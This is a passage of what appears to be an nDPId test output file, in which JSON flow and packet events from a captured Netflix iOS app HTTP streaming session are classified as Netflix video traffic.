QpBY2NlcHQ6ICovKg0KQWNjZXB0LUVuY29kaW5nOiBkZWZsYXRlLCBnemlwDQpVc2VyLUFnZW50OiBuZXRmbGl4LWlvcy1hcHANCg0K"} +00933{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1277,"source":"netflix.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":4,"flow_first_seen":1484319056241,"flow_last_seen":1484319056314,"flow_tot_l4_data_len":508,"flow_min_l4_data_len":32,"flow_max_l4_data_len":392,"flow_avg_l4_data_len":127,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.141","src_port":53180,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"23.246.11.141","url":"23.246.11.141\/range\/0-65535?o=AQEfKq2oMrLRiWL2puNQJ5yTLBCkGLjSseu23V2HX6kIiU9JpbCaBxxaIoz21qQNKuDUaOIZwdTlx23DMVxabbCwmvEluipDW2tvFMlhMRtwdhhVlbv9KGFabiu5KH0Slx0VjOK_wzThp_3mCFrUjHWqh5ipQCtzf4OVWQ&v=3&e=1484347850&t=r5jtnnEcR8hDCkPImfEiWqWAjKk&random=1846234524","code":0,"content_type":"","user_agent":"netflix-ios-app"}} +00427{"flow_id":35,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1278,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":324875,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0ertAAEAG2t7AqAEHF\/YLhc+1AFCjZhpFWCABWYAQD9j6ZQAAAQEICh9lEOAvkEBV"} +00440{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1279,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":326114,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAADsGWmoX9guNwKgBBwBQz72N4Tx+gHq67aAS\/\/8YZwAAAgQFtAEDAwkEAggKc9HQqh9lEJ4="} +00441{"flow_id":44,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1280,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":326288,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAADsGWmoX9guNwKgBBwBQz749DprObTkJu6AS\/\/9Z3AAAAgQFtAEDAwkEAggKxO\/1DB9lEJ4="} +01121{"flow_id":37,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1281,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":326471,"pkt_caplen":584,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":584,"pkt_l4_len":550,"pkt":"5JjWH70UgCqoTGHMCABFIAI6AABAADsGWGwX9guNwKgBBwBQz7dWBL6mu6sqxoAQCAIAPQAAAQEICriHwtgfZRCeSFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54DQpEYXRlOiBGcmksIDEzIEphbiAyMDE3IDE0OjUwOjU2IEdNVA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0NCkNvbnRlbnQtTGVuZ3RoOiA2NTUzNg0KTGFzdC1Nb2RpZmllZDogTW9uLCAxNCBEZWMgMjAxNSAxMDo1OTo1NyBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlDQpQcmFnbWE6IG5vLWNhY2hlDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNCkFjY2Vzcy1Db250cm9sLUV4cG9zZS1IZWFkZXJzOiBYLVRDUC1JbmZvLFgtU2Vzc2lvbi1JbmZvDQpYLVRDUC1JbmZvOiBoMD0zNDEyNDEzNzk2O2gxPTM3MjM0NTkzOTc7aDI9MjEyNTU1Njc3MztoMz0yNTE0MzMyMzA5O2g0PTMwNjc0Mzg0NzsNClgtU2Vzc2lvbi1JbmZvOiBhZGRyPTczLjIwMy4xMDcuMjM7cG9ydD01MzE3NTthcmdwPTYuc05jMERYU2Y4VEhFM2Y0eThWdU5sa1RITHNFblExQ0tja0M3dXN3MnZiQQ0KDQo="} +00427{"flow_id":43,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1282,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":327250,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0BrtAAEAGTtfAqAEHF\/YLjc+9AFCAerrtjeE8f4AQEBU20gAAAQEICh9lEOxz0dCq"} +00428{"flow_id":44,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1283,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":327623,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0Fj1AAEAGP1XAqAEHF\/YLjc++AFBtOQm7PQ6az4AQEBV4RwAAAQEICh9lEOzE7\/UM"} +02366{"flow_id":37,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1284,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":330473,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"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"} +00910{"flow_id":43,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1285,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":336202,"pkt_caplen":425,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":425,"pkt_l4_len":391,"pkt":"gCqoTGHM5JjWH70UCABFAAGbxNdAAEAGj1PAqAEHF\/YLjc+9AFCAerrtjeE8f4AYEBVqrAAAAQEICh9lEO5z0dCqR0VUIC9yYW5nZS8wLTY1NTM1P289QVFFZktxMm9NckxSaVdMMnB1TlFMSjJUSUJlcEdMalNzZXUyM1YySFg2a0lpVTlKcGJDYUJ4eGFJb3oyMXFRTkt1RFVhT0lad2RUbHgyM0RNVnhhYmJDd212RWx1aXBEVzJ0dkZNbGhNUnR3ZGhoVmxidjlLR0ZhYml1NUtIMFNseDBWak9LX3d6VGhwUGJpQ0ZyVWpIV3FoNWlwUUN0emY0T1ZXUSZ2PTMmZT0xNDg0MzQ3ODUwJnQ9dFRYdTNjNkZuSnRmaTZ6MElKcDNodzhlRHY4JnJhbmRvbT0xMjk0NTQwNzYgSFRUUC8xLjENCkhvc3Q6IDIzLjI0Ni4xMS4xNDENCkFjY2VwdDogKi8qDQpBY2NlcHQtRW5jb2Rpbmc6IGRlZmxhdGUsIGd6aXANClVzZXItQWdlbnQ6IG5ldGZsaXgtaW9zLWFwcA0KDQo="} +00932{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1285,"source":"netflix.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":4,"flow_first_seen":1484319056264,"flow_last_seen":1484319056336,"flow_tot_l4_data_len":507,"flow_min_l4_data_len":32,"flow_max_l4_data_len":391,"flow_avg_l4_data_len":126,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.141","src_port":53181,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"23.246.11.141","url":"23.246.11.141\/range\/0-65535?o=AQEfKq2oMrLRiWL2puNQLJ2TIBepGLjSseu23V2HX6kIiU9JpbCaBxxaIoz21qQNKuDUaOIZwdTlx23DMVxabbCwmvEluipDW2tvFMlhMRtwdhhVlbv9KGFabiu5KH0Slx0VjOK_wzThpPbiCFrUjHWqh5ipQCtzf4OVWQ&v=3&e=1484347850&t=tTXu3c6FnJtfi6z0IJp3hw8eDv8&random=129454076","code":0,"content_type":"","user_agent":"netflix-ios-app"}} +00911{"flow_id":44,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1286,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":347066,"pkt_caplen":424,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":424,"pkt_l4_len":390,"pkt":"gCqoTGHM5JjWH70UCABFAAGazfdAAEAGhjTAqAEHF\/YLjc++AFBtOQm7PQ6az4AYEBVtUQAAAQEICh9lEPDE7\/UMR0VUIC9yYW5nZS8wLTY1NTM1P289QVFFZktxMm9NckxSaVdMMnB1TlFKWjJWS2hxZ0dMalNzZXUyM1YySFg2a0lpVTlKcGJDYUJ4eGFJb3oyMXFRTkt1RFVhT0lad2RUbHgyM0RNVnhhYmJDd212RWx1aXBEVzJ0dkZNbGhNUnR3ZGhoVmxidjlLR0ZhYml1NUtIMFNseDBWak9LX3d6VGhvX2ZsSGhXQTRrVzlnYXlZRVd0ak5OS2Umdj0zJmU9MTQ4NDM0Nzg1MCZ0PUxRN0x5WFNuWmFYS0VIQUhhUlJIay1TN2RLRSZyYW5kb209NDIwOTgxMDYzMyBIVFRQLzEuMQ0KSG9zdDogMjMuMjQ2LjExLjE0MQ0KQWNjZXB0OiAqLyoNCkFjY2VwdC1FbmNvZGluZzogZGVmbGF0ZSwgZ3ppcA0KVXNlci1BZ2VudDogbmV0ZmxpeC1pb3MtYXBwDQoNCg=="} +00931{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1286,"source":"netflix.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":4,"flow_first_seen":1484319056264,"flow_last_seen":1484319056347,"flow_tot_l4_data_len":506,"flow_min_l4_data_len":32,"flow_max_l4_data_len":390,"flow_avg_l4_data_len":126,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"23.246.11.141","src_port":53182,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP.NetFlix","breed":"Fun","category":"Video"},"http": {"hostname":"23.246.11.141","url":"23.246.11.141\/range\/0-65535?o=AQEfKq2oMrLRiWL2puNQJZ2VKhqgGLjSseu23V2HX6kIiU9JpbCaBxxaIoz21qQNKuDUaOIZwdTlx23DMVxabbCwmvEluipDW2tvFMlhMRtwdhhVlbv9KGFabiu5KH0Slx0VjOK_wzTho_flHhWA4kW9gayYEWtjNNKe&v=3&e=1484347850&t=LQ7LyXSnZaXKEHAHaRRHk-S7dKE&random=4209810633","code":0,"content_type":"","user_agent":"netflix-ios-app"}} +00427{"flow_id":37,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1287,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":347079,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0kxxAAEAGwnXAqAEHF\/YLjc+3AFC7qyrGVgTGVIAQD9gDJgAAAQEICh9lEPW4h8LY"} +01121{"flow_id":41,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1288,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":358487,"pkt_caplen":584,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":584,"pkt_l4_len":550,"pkt":"5JjWH70UgCqoTGHMCABFIAI6AABAADsGWGwX9guNwKgBBwBQz7vga1YU37t2vIAQCAIEZwAAAQEICrNbY8AfZRDBSFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54DQpEYXRlOiBGcmksIDEzIEphbiAyMDE3IDE0OjUwOjU2IEdNVA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0NCkNvbnRlbnQtTGVuZ3RoOiA2NTUzNg0KTGFzdC1Nb2RpZmllZDogTW9uLCAxNCBEZWMgMjAxNSAxMTowMTozMCBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlDQpQcmFnbWE6IG5vLWNhY2hlDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNCkFjY2Vzcy1Db250cm9sLUV4cG9zZS1IZWFkZXJzOiBYLVRDUC1JbmZvLFgtU2Vzc2lvbi1JbmZvDQpYLVRDUC1JbmZvOiBoMD0yODYxMDQyNzU7aDE9MjM5MzA0NTg0MTtoMj00MDM0NTM4MzEwO2gzPTE2NTY5NTYxMjI7aDQ9MjQ5OTU3MjMyOTsNClgtU2Vzc2lvbi1JbmZvOiBhZGRyPTczLjIwMy4xMDcuMjM7cG9ydD01MzE3OTthcmdwPTYuc05jMERYU2Y4VEhFM2Y0eThWdU5sa1RITHNFblExQ0tja0M3dXN3MnZiQQ0KDQo="} +02364{"flow_id":41,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1289,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":358559,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"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"} +00427{"flow_id":41,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1290,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":360083,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0hSxAAEAG0GXAqAEHF\/YLjc+7AFDfu3a84GtdwoAQD9jVdAAAAQEICh9lEQuzW2PA"} +01123{"flow_id":38,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1291,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":365336,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"5JjWH70UgCqoTGHMCABFIAI5AABAADsGWG0X9guNwKgBBwBQz7h\/u26NapfB\/IAQCALntAAAAQEIChRQKwcfZRDESFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54DQpEYXRlOiBGcmksIDEzIEphbiAyMDE3IDE0OjUwOjU2IEdNVA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0NCkNvbnRlbnQtTGVuZ3RoOiA2NTUzNg0KTGFzdC1Nb2RpZmllZDogTW9uLCAxNCBEZWMgMjAxNSAxMDo1ODozOCBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlDQpQcmFnbWE6IG5vLWNhY2hlDQpBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46ICoNCkFjY2Vzcy1Db250cm9sLUV4cG9zZS1IZWFkZXJzOiBYLVRDUC1JbmZvLFgtU2Vzc2lvbi1JbmZvDQpYLVRDUC1JbmZvOiBoMD0yNTI3ODc2NzIzO2gxPTE4NTMxMDM2MDtoMj0yNjI2NDM0MjQ5O2gzPTc4MTUxOTY2NTtoND0zNzg0NDkyNzc5Ow0KWC1TZXNzaW9uLUluZm86IGFkZHI9NzMuMjAzLjEwNy4yMztwb3J0PTUzMTc2O2FyZ3A9Ni5zTmMwRFhTZjhUSEUzZjR5OFZ1TmxrVEhMc0VuUTFDS2NrQzd1c3cydmJBDQoNCg=="} +02366{"flow_id":38,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1292,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":370234,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAABAADsGVMoX9guNwKgBBwBQz7h\/u3CSapfB\/IAQCAKvPAAAAQEIChRQKwgfZRDEAAAAJGZ0eXBpc28yAAAAAGlzb21pc28yZGFzaGlzbzZwaWZmAAAAbHV1aWROZXRmbGl4UGlmZlN0cm0hAQAAAAAAAAADFvwoAAAAAACYloAAAAAGLpHBTQAAAAAAAOd8AAAAAAMVsmEAAAAAAACEqwAAYtEAAAAAAAAICwAAPlww7LvEbW3roAPsiM8lAvH1AAAAGGZyZWUAAAAAAAAAAAAAAAAAAAAAAAAASnV1aWTi6QKlfkPiQZDaISEYxWQyAAAAAAAAAADSka2DTmV0ZmxpeCBNZWRpYSBMaWJyYXJ5IFZlcnNpb24gODAuMC4wLgAAAAcZbW9vdgAAAHhtdmhkAQAAAAAAAADSka2JAAAAANKRrYkAmJaAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAr5wc3NoAAAAAJoE8HmYQEKGq5LmW+CIX5UAAAKengIAAAEAAQCUAjwAVwBSAE0ASABFAEEARABFAFIAIAB4AG0AbABuAHMAPQAiAGgAdAB0AHAAOgAvAC8AcwBjAGgAZQBtAGEAcwAuAG0AaQBjAHIAbwBzAG8AZgB0AC4AYwBvAG0ALwBEAFIATQAvADIAMAAwADcALwAwADMALwBQAGwAYQB5AFIAZQBhAGQAeQBIAGUAYQBkAGUAcgAiACAAdgBlAHIAcwBpAG8AbgA9ACIANAAuADAALgAwAC4AMAAiAD4APABEAEEAVABBAD4APABQAFIATwBUAEUAQwBUAEkATgBGAE8APgA8AEsARQBZAEwARQBOAD4AMQA2ADwALwBLAEUAWQBMAEUATgA+ADwAQQBMAEcASQBEAD4AQQBFAFMAQwBUAFIAPAAvAEEATABHAEkARAA+ADwALwBQAFIATwBUAEUAQwBUAEkATgBGAE8APgA8AEsASQBEAD4AQQBBAEEAQQBBAE4AYwBEAG4AUQBFAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQA9AD0APAAvAEsASQBEAD4APABDAEgARQBDAEsAUwBVAE0APgBsAGgAVABwAFkANwBaADIAZABuADgAPQA8AC8AQwBIAEUAQwBLAFMAVQBNAD4APABDAFUAUwBUAE8ATQBBAFQAVABSAEkAQgBVAFQARQBTAD4APABMAGkAdAB0AGwAZQBFAG4AZABpAGEAbgBLAEkARAA+AHQAcgB1AGUAPAAvAEwAaQB0AHQAbABlAEUAbgBkAGkAYQBuAEsASQBEAD4APAAvAEMAVQBTAFQATwBNAEEAVABUAFIASQBCAFUAVABFAFMAPgA8AC8ARABBAFQAQQA+ADwALwBXAFIATQBIAEUAQQBEAEUAUgA+AAAAAExwc3NoAAAAAClwH+Q8x0o0jFuukMdDmkcAAAAsAAAABAAAAAAD1wGd7r6IzuAaBVN4xRwf5LmuTob8i7DSa7iXzcA0aEtBASIAAAA0cHNzaAAAAADt74upedZKzqPIJ9zVHSHtAAAAFAgBEhAAAAAAA9cBnQAAAAAAAAAAAAADH3RyYWsAAABodGtoZAEAAAcAAAAA0pGtiQAAAADSka2JAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAABQAAAAPAAAAAAACxlZHRzAAAAJGVsc3QBAAAAAAAAAQAAAAYukcFNAAAAAAAGXTsAAQAAAAACg21kaWEAAAAsbWRoZAEAAAAAAAAA0pGtiQAAAADSka2JAJiWgAAAAAAAAAAAVcQAAAAAADRoZGxyAAAAAAAAAAB2aWRlAAAAAAAAAAAAAAAAVmlkZW8gTWU="} +00427{"flow_id":38,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1293,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319056,"pkt_ts_usec":374058,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA04AtAAEAGdYbAqAEHF\/YLjc+4AFBql8H8f7t2OoAQD9gfTQAAAQEICh9lERcUUCsH"} 